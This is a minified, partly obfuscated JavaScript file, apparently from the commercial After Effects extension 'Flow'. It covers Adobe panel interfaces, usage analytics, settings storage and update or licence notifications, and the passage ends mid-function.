/**
 * Flow - Flow brings an easy interface to After Effects for customizing animation curves without needing to touch the graph editor.
 * @version v1.3.0
 * @link https://aescripts.com/flow
 * @license Copyright © renderTom & Zack Lovatt - All Rights Reserved
 */
function CSXSWindowType() {}

function Version(A, e, t, i) {
    this.major = A, this.minor = e, this.micro = t, this.special = i
}

function VersionBound(A, e) {
    this.version = A, this.inclusive = e
}

function VersionRange(A, e) {
    this.lowerBound = A, this.upperBound = e
}

function Runtime(A, e) {
    this.name = A, this.versionRange = e
}

function Extension(A, e, t, i, r, o, n, s, a, I, l, c, B, g, h, E) {
    this.id = A, this.name = e, this.mainPath = t, this.basePath = i, this.windowType = r, this.width = o, this.height = n, this.minWidth = s, this.minHeight = a, this.maxWidth = I, this.maxHeight = l, this.defaultExtensionDataXml = c, this.specialExtensionDataXml = B, this.requiredRuntimeList = g, this.isAutoVisible = h, this.isPluginExtension = E
}

function CSEvent(A, e, t, i) {
    this.type = A, this.scope = e, this.appId = t, this.extensionId = i
}

function SystemPath() {}

function ColorType() {}

function RGBColor(A, e, t, i) {
    this.red = A, this.green = e, this.blue = t, this.alpha = i
}

function Direction(A, e) {
    this.x = A, this.y = e
}

function GradientStop(A, e) {
    this.offset = A, this.rgbColor = e
}

function GradientColor(A, e, t, i) {
    this.type = A, this.direction = e, this.numStops = t, this.arrGradientStop = i
}

function UIColor(A, e, t) {
    this.type = A, this.antialiasLevel = e, this.color = t
}

function AppSkinInfo(A, e, t, i, r, o, n) {
    this.baseFontFamily = A, this.baseFontSize = e, this.appBarBackgroundColor = t, this.panelBackgroundColor = i, this.appBarBackgroundColorSRGB = r, this.panelBackgroundColorSRGB = o, this.systemHighlightColor = n
}

function HostEnvironment(A, e, t, i, r, o, n) {
    this.appName = A, this.appVersion = e, this.appLocale = t, this.appUILocale = i, this.appId = r, this.isAppOnline = o, this.appSkinInfo = n
}

function HostCapabilities(A, e, t, i, r) {
    this.EXTENDED_PANEL_MENU = A, this.EXTENDED_PANEL_ICONS = e, this.DELEGATE_APE_ENGINE = t, this.SUPPORT_HTML_EXTENSIONS = i, this.DISABLE_FLASH_EXTENSIONS = r
}

function ApiVersion(A, e, t) {
    this.major = A, this.minor = e, this.micro = t
}

function MenuItemStatus(A, e, t) {
    this.menuItemLabel = A, this.enabled = e, this.checked = t
}

function ContextMenuItemStatus(A, e, t) {
    this.menuItemID = A, this.enabled = e, this.checked = t
}

function CSInterface() {}

function Aesp(A, e) {
    function t() {}

    function i(A, e, t, i) {
        this.major = A, this.minor = e, this.micro = t, this.special = i
    }

    function r(A, e, t, i) {
        this.type = A, this.scope = e, this.appId = t, this.extensionId = i
    }

    function o() {}

    function n() {}

    function s(A, e, t) {
        this.menuItemLabel = A, this.enabled = e, this.checked = t
    }

    function a(A, e, t) {
        this.menuItemID = A, this.enabled = e, this.checked = t
    }

    function I() {}

    function l(A, e, t) {
        function i() {
            function A() {
                return Math.floor(65536 * (1 + Math.random())).toString(16).substring(1)
            }
            return A() + A() + "-" + A() + "-" + A() + "-" + A() + "-" + A() + A() + A()
        }

        function r(A) {
            if (this.enabled())
                for (var e = 0; e < g.length; e++) g[e].exception(A.message, !1)
        }

        function o(A, e) {
            if (e instanceof Object) {
                var t = [];
                for (var i in e) e.hasOwnProperty(i) && t.push(encodeURIComponent(i) + "=" + encodeURIComponent(e[i]));
                t.length > 0 && (A += "?" + t.join("&"))
            }
            if (this.enabled())
                for (var r = 0; r < g.length; r++) g[r].pageview(B + A)
        }

        function n(A, e, t, i) {
            if (this.enabled())
                for (var r = 0; r < g.length; r++) g[r].event(A, e, t, i)
        }

        function s(A) {
            return void 0 === A ? a() || I(c) : void t.setItem(c, !!A)
        }

        function a() {
            return void 0 === t.getItem(c)
        }

        function I(A) {
            var e = t.getItem(A);
            return "true" === e || !0 === e
        }
        e = e || {};
        var l = "ga.userid",
            c = "ga.enabled",
            B = [e.name, e.version, e.skdVersion].filter(function(A) {
                return void 0 != A
            }).join("/");
        0 != B.length && (B += "/");
        var g = [];
        (function() {
            var e = t.getItem(l);
            void 0 === e && (e = i(), t.setItem(l, e));
            for (var r = 0; r < A.length; r++) g.push(new u(A[r], e))
        })(), this[function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 46 - t)
            }).join("")
        }(39, 189, 186, 206, 186) + 929..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 59 - t)
            }).join("")
        }(27, 198, 191) + 23..toString(36).toLowerCase()] = r, this[function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 44 - t)
            }).join("")
        }(25, 174, 167, 181) + 14..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 59 - t)
            }).join("")
        }(38, 215) + 662..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 36 - t)
            }).join("")
        }(36, 191)] = o, this[14..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 52 - t)
            }).join("")
        }(50, 204, 220) + 23..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 15 - t)
            }).join("")
        }(10, 141)] = n, this[527..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 15 - t)
            }).join("")
        }(48, 173, 162, 160) + 14..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 19 - t)
            }).join("")
        }(22, 141)] = s, this[31883011861..toString(36).toLowerCase() + 25..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 28..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 45 - t)
            }).join("")
        }(12, 163, 161, 159, 168, 142) + 870133..toString(36).toLowerCase()] = a
    }

    function c(A, e) {
        function t(A) {
            if (void 0 === c[A]) throw new Error("event does not exist:" + A);
            return c[A]
        }

        function i(A) {
            if (void 0 === B[A]) throw new Error("pageview does not exist:" + A);
            return B[A]
        }

        function r(e) {
            function t(A, e, t) {
                A[e] instanceof Array && A[e].forEach(t)
            }
            var i = {};
            return function(e) {
                A.Groups instanceof Array && A.Groups.forEach(e)
            }(function(A) {
                t(A, e, function(A) {
                    var t = A.id;
                    if (void 0 === t) throw new Error(e + " has no id:" + JSON.stringify(A));
                    if (void 0 !== i[t]) throw new Error(e + " id is not unique: " + t);
                    i[t] = A
                })
            }), i
        }

        function o(A, i) {
            var r = t(A),
                o = a(r.category, i),
                n = a(r.action, i),
                s = a(r.label, i),
                I = a(r.value, i);
            return e.event(o, n, s, I)
        }

        function n(A, t) {
            var r = i(A),
                o = a(r.path, t);
            return e.pageview(o)
        }

        function s(A) {
            return e.exception(A)
        }

        function a(A, e) {
            if (void 0 == A) return A;
            for (var t in e) {
                var i = e[t],
                    r = new RegExp("\\{" + I(t) + "\\}", "g");
                A = A.replace(r, i)
            }
            return A
        }

        function I(A) {
            return A.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&")
        }

        function l() {
            return N(A)
        }
        U(A);
        var c = r("events"),
            B = r("pageviews");
        this[function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 50 - t)
            }).join("")
        }(52, 203, 223, 203) + 14..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 21 - t)
            }).join("")
        }(61, 199, 194) + 672..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 4 - t)
            }).join("")
        }(22, 136)] = s, this[29..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 50 - t)
            }).join("")
        }(50, 211) + 24..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 1066..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 12 - t)
            }).join("")
        }(44, 164)] = l, this[14..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 30 - t)
            }).join("")
        }(23, 171) + 14..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 38 - t)
            }).join("")
        }(44, 199, 192)] = o, this[1179950..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 23 - t)
            }).join("")
        }(31, 176, 157, 160, 172)] = n, this[16..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 53 - t)
            }).join("")
        }(3, 173, 157) + 26..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 35 - t)
            }).join("")
        }(3, 153) + 887..toString(36).toLowerCase()] = function() {
            return A
        }
    }

    function B(A, e) {
        function t() {
            var o = new r("com.aescripts.flow.panel.loadPage", "APPLICATION");
            o.data = {
                page: A,
                dept: e
            }, i.dispatchEvent(o), i.removeEventListener("com.aescripts.flow.about.ready", t)
        }
        var i = new I;
        i.addEventListener("com.aescripts.flow.about.ready", t), i.requestOpenExtension(function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 42 - t)
            }).join("")
        }(58, 206, 221, 206, 201, 149, 211, 212, 199) + 46222912..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -71)
        }).join("") + 727952..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 36 - t)
            }).join("")
        }(18, 175, 175, 168, 154, 152, 100))
    }

    function g(A, e) {
        function t() {
            var t = r();
            try {
                return JSON.parse(t)
            } catch (t) {
                return e.log("settings file for '" + A + "' does not contain valid JSON data: " + t, {
                    support: !0
                }), {}
            }
        }

        function i(e) {
            var t = JSON.stringify(e, null, 2);
            n(A, t)
        }

        function r() {
            var t = a(),
                i = require("fs");
            try {
                return i.readFileSync(t, "utf8")
            } catch (t) {
                return e.log("could not read settings file for '" + A + "': " + t, {
                    support: !0
                }), "{}"
            }
        }

        function n(A, e) {
            var t = a(),
                i = s();
            B.sync(i), c.writeFileSync(t, e, "utf8")
        }

        function s() {
            var A = new I,
                e = A.getSystemPath(o.USER_DATA);
            return g.join(e, "Aescripts/settings")
        }

        function a() {
            var e = l(A),
                t = "com.aescripts.settings_" + e + ".json";
            return g.join(s(), t)
        }

        function l(A) {
            return A.replace(/[^a-z0-9]/gi, "_")
        }
        var c = require("fs"),
            B = require("mkdirp"),
            g = require("path");
        this.getItem = function(A) {
            return t()[A]
        }, this.setItem = function(A, e) {
            var r = t();
            r[A] = e, i(r)
        }, this.removeItem = function(A) {
            var e = t();
            delete e[A], i(e)
        }, this.clear = function() {
            i({})
        }
    }

    function h(A) {
        function e() {
            return {
                name: 22..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 60 - t)
                    }).join("")
                }(25, 193) + 896..toString(36).toLowerCase(),
                version: A.productVersion,
                skdVersion: function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 5 - t)
                    }).join("")
                }(58, 113) + 30..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 24 - t)
                    }).join("")
                }(49, 120, 121) + 2..toString(36).toLowerCase()
            }
        }

        function t() {
            var A = new g(function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 17 - t)
                }).join("")
            }(45, 132) + 780..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 60 - t)
                }).join("")
            }(47, 226));
            return new l(A.getItem("trackingCodes"), e(), A)
        }

        function i(A) {
            var e = document.createDocumentFragment(),
                t = document.createElement("div");
            A && (t.id = A), t.className = "aesp-notification";
            var i = document.createElement("div");
            return i.className = "aesp-notification__content", t.appendChild(i), e.appendChild(t), e
        }

        function r() {
            var A = document.getElementById("aesp-disabled");
            A && A.remove()
        }

        function o() {
            var A = document.createElement("div");
            A.id = "aesp-disabled", A.style.position = "absolute", A.style.cursor = "not-allowed", A.style.width = "100%", A.style.height = "100%";
            var e = document.createElement("div");
            e.className = "aesp-appBackgroundColor", e.style.zIndex = "998", e.style.opacity = "0.7", e.style.position = "fixed", e.style.width = "100%", e.style.height = "100%";
            var t = document.createElement("div");
            t.style.backgroundColor = "black", t.style.zIndex = "999", t.style.mixBlendMode = "hue", t.style.position = "fixed", t.style.width = "100%", t.style.height = "100%", "backgroundBlendMode" in document.body.style && A.appendChild(t), A.appendChild(e), document.body.insertBefore(A, document.body.childNodes[0])
        }

        function n(A) {
            setTimeout(function() {
                document.getElementById(A).classList.add("aesp-is-open")
            }, 0)
        }

        function s() {
            U.openURLInDefaultBrowser("https://aescripts.com/privacy-policy/")
        }

        function a(A) {
            var e = document.createElement("div");
            e.className = "aesp-about-icon", e.addEventListener("click", s);
            var t = "http://www.w3.org/2000/svg",
                i = document.createElementNS(t, "svg");
            i.setAttributeNS(null, "width", 12), i.setAttributeNS(null, "height", 12), i.setAttributeNS(null, "viewBox", "367 823 25 25");
            var r = document.createElementNS(t, "path");
            r.setAttributeNS(null, "d", "M378.8,843.2 L381.2,843.2 L381.2,840.8 L378.8,840.8 L378.8,843.2 Z M380,824 C373.376,824 368,829.376 368,836 C368,842.624 373.376,848 380,848 C386.624,848 392,842.624 392,836 C392,829.375999 386.624,824 380,824 Z M380,845.6 C374.708,845.6 370.4,841.292 370.4,836 C370.4,830.708 374.708,826.4 380,826.4 C385.292,826.4 389.6,830.708 389.6,836 C389.6,841.292 385.292,845.6 380,845.6 Z M380,828.8 C377.348,828.8 375.2,830.948 375.2,833.6 L377.6,833.6 C377.6,832.279999 378.679999,831.2 380,831.2 C381.32,831.2 382.4,832.279999 382.4,833.6 C382.4,836 378.8,835.7 378.8,839.6 L381.2,839.6 C381.2,836.9 384.8,836.6 384.8,833.6 C384.8,830.948 382.652,828.8 380,828.8 Z"), i.appendChild(r), e.appendChild(i), A.appendChild(e)
        }

        function c(A, e, t, i) {
            var r = document.createElement("div");
            t && (r.id = t), r.className = "aesp-notification-button", A.appendChild(r), r.onclick = i;
            var o = document.createTextNode(e);
            r.appendChild(o)
        }

        function h(A) {
            var e = document.getElementById(A);
            e && (e.classList.remove("aesp-is-open"), setTimeout(function() {
                e.remove()
            }, 1e3))
        }

        function u(A, e, t) {
            var i = document.createElement("div");
            e && (i.id = e), i.className = "aesp-close-button", i.addEventListener("click", function(e) {
                if (t) t(e);
                else {
                    h(document.getElementById(A.parentNode.parentNode.id).id)
                }
            });
            var r = "http://www.w3.org/2000/svg",
                o = document.createElementNS(r, "svg");
            o.setAttributeNS(null, "width", 10), o.setAttributeNS(null, "height", 10), o.setAttributeNS(null, "viewBox", "0 0 12 12");
            var n = document.createElementNS(r, "path");
            n.setAttributeNS(null, "d", "M.9 12a.9.9 0 0 0 .636-.264L5 8.273l3.463 3.463A.9.9 0 0 0 9.1 12a.9.9 0 0 0 .9-.9.9.9 0 0 0-.264-.636L6.273 7l3.463-3.463A.9.9 0 0 0 10 2.9a.9.9 0 0 0-.9-.9.9.9 0 0 0-.636.264L5 5.727 1.537 2.264A.9.9 0 0 0 .9 2a.9.9 0 0 0-.9.9.9.9 0 0 0 .264.636L3.727 7 .264 10.463A.9.9 0 0 0 0 11.1a.9.9 0 0 0 .9.9z"), n.setAttributeNS(null, "fill", "white"), o.appendChild(n), i.appendChild(o), A.appendChild(i)
        }

        function Q(A) {
            var e = document.createElement("div");
            e.id = "aesp-notification-updates", e.className = "aesp-notification__info aesp-general aesp-is-active", A.appendChild(e), u(e, "close-updates");
            var t = document.createElement("div");
            t.style.display = "inline", t.style.marginLeft = "10px", e.appendChild(t);
            var i = document.createTextNode(R.getLocalizedString("statusbar.update.available"));
            t.appendChild(i), c(e, R.getLocalizedString("statusbar.update.details"), void 0, function() {
                B("update", void 0)
            }), c(e, R.getLocalizedString("statusbar.update.remind.me"), "reminds-trigger", function(A) {
                A.preventDefault(), document.getElementById("aesp-notification-updates").classList.remove("aesp-is-active"), document.getElementById("aesp-notification-reminds").classList.add("aesp-is-active")
            })
        }

        function d(e) {
            var t = new Y,
                i = A.productVersion,
                r = new g(22..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + 21..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 17 - t)
                    }).join("")
                }(28, 156) + 32..toString(36).toLowerCase()),
                o = new E(function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 10 - t)
                    }).join("")
                }(29, 124, 121) + 1066..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + 29..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 29 - t)
                    }).join("")
                }(9, 116, 124, 121), i, t, r);
            0 != e ? o.snooze(e) : o.skipCurrentVersion(), h("aesp-update-notification")
        }

        function S(A) {
            var e = document.createElement("div");
            e.id = "aesp-notification-reminds", e.className = "aesp-notification__info aesp-reminds", A.appendChild(e), u(e, "close-reminds", function(A) {
                A.preventDefault(), document.getElementById("aesp-notification-reminds").classList.remove("aesp-is-active"), document.getElementById("aesp-notification-updates").classList.add("aesp-is-active")
            }), c(e, R.getLocalizedString("statusbar.update.remind.tomorrow"), void 0, function() {
                d(1)
            }), c(e, R.getLocalizedString("statusbar.update.remind.nextWeek"), void 0, function() {
                d(7)
            }), c(e, R.getLocalizedString("statusbar.update.remind.nextMonth"), void 0, function() {
                d(30)
            }), c(e, R.getLocalizedString("statusbar.update.remind.skipVersion"), void 0, function() {
                d(0)
            })
        }

        function w() {
            return new f(561..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 57 - t)
                }).join("")
            }(53, 230, 221), 34..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -39)
            }).join("") + 10..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -13)
            }).join("") + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 26 - t)
                }).join("")
            }(35, 132, 138), 10621..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 9 - t)
                }).join("")
            }(59, 126, 126, 118))
        }

        function p() {
            w().uninstall()
        }

        function v() {
            var A = 485737..toString(36).toLowerCase() + 29..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 1071..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 33 - t)
                    }).join("")
                }(58, 139, 201, 189, 196) + 23..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 3 - t)
                    }).join("")
                }(46, 152, 153, 158, 154, 156, 166, 160) + 29..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 54 - t)
                    }).join("")
                }(21, 187, 180) + 23..toString(36).toLowerCase(),
                e = document.getElementById("aesp-notifications"),
                t = i(A),
                r = t.querySelector(".aesp-notification__content"),
                o = document.createElement("span");
            o.id = function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 17 - t)
                }).join("")
            }(43, 175, 177, 162, 157) + 29..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 49992285..toString(36).toLowerCase() + 29..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 60 - t)
                }).join("")
            }(26, 188, 202) + 1217..toString(36).toLowerCase(), r.appendChild(o);
            var s = document.createTextNode(R.getLocalizedString(function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 17 - t)
                }).join("")
            }(56, 190, 188) + 18189083..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 19 - t)
                }).join("")
            }(8, 145, 146, 75, 142, 124) + 23709..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 1460070..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 34 - t)
                }).join("")
            }(40, 174)));
            o.appendChild(s), c(r, R.getLocalizedString(1344341..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 17 - t)
                }).join("")
            }(60, 195, 177, 177, 193, 194) + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 49992285..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 1003550..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 30 - t)
                }).join("")
            }(8, 141, 154, 148)), void 0, function() {
                B("about", void 0)
            }), e.appendChild(t), n(A)
        }

        function m() {
            var A = 485737..toString(36).toLowerCase() + 29..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 1071..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 46 - t)
                    }).join("")
                }(20, 114, 176, 164, 171) + 38121..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 1 - t)
                    }).join("")
                }(49, 166),
                e = document.getElementById(A);
            e || (v(), e = document.getElementById(A)), e.innerHTML = R.getLocalizedString(81287211219507..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 47 - t)
                }).join("")
            }(49, 148, 209, 197, 204, 212, 213, 142) + 14..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 51 - t)
                }).join("")
            }(40, 204, 211) + 24314..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 31 - t)
                }).join("")
            }(27, 158)), o()
        }

        function M() {
            var A = 485737..toString(36).toLowerCase() + 29..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 19357..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 49 - t)
                    }).join("")
                }(48, 204, 200, 146, 200, 200, 212, 202) + 1054..toString(36).toLowerCase() + 29..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 51566750724..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 1 - t)
                    }).join("")
                }(20, 138, 118) + 18..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 14 - t)
                    }).join("")
                }(15, 140, 140),
                e = document.getElementById("aesp-notifications"),
                t = i(A),
                r = t.querySelector(".aesp-notification__content"),
                s = R.getLocalizedString(27876..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 60 - t)
                    }).join("")
                }(58, 223, 241, 225, 221, 168, 224, 235, 228, 164) + 30..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -71)
                }).join("") + 32513202229..toString(36).toLowerCase()),
                a = document.createTextNode(s);
            r.appendChild(a), c(r, R.getLocalizedString(function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 19 - t)
                }).join("")
            }(7, 152, 81, 148, 130, 130, 146, 147, 145, 125, 143, 141) + 1283421..toString(36).toLowerCase() + 30..toString(36).toLowerCase().split("").map(function(A) {
                return String.fromCharCode(A.charCodeAt() + -71)
            }).join("") + 774..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 25 - t)
                }).join("")
            }(8, 151, 145, 135, 132) + 14..toString(36).toLowerCase()), void 0, function() {
                B("about", void 0)
            }), e.appendChild(t), o(), n(A)
        }

        function P(A) {
            var e = A[function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 38 - t)
                    }).join("")
                }(50, 190, 202) + 28..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 2 - t)
                    }).join("")
                }(39, 158) + 21..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 36 - t)
                    }).join("")
                }(51, 203)],
                t = "aesp-invalid-notification",
                r = document.getElementById("aesp-notifications"),
                s = i(t),
                a = s.querySelector(".aesp-notification__content"),
                I = C(e),
                l = "" !== D(e),
                g = document.createTextNode(I);
            a.appendChild(g), e > -9 && (p(), a.innerHTML = R.getLocalizedString(81287211219507..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 9 - t)
                }).join("")
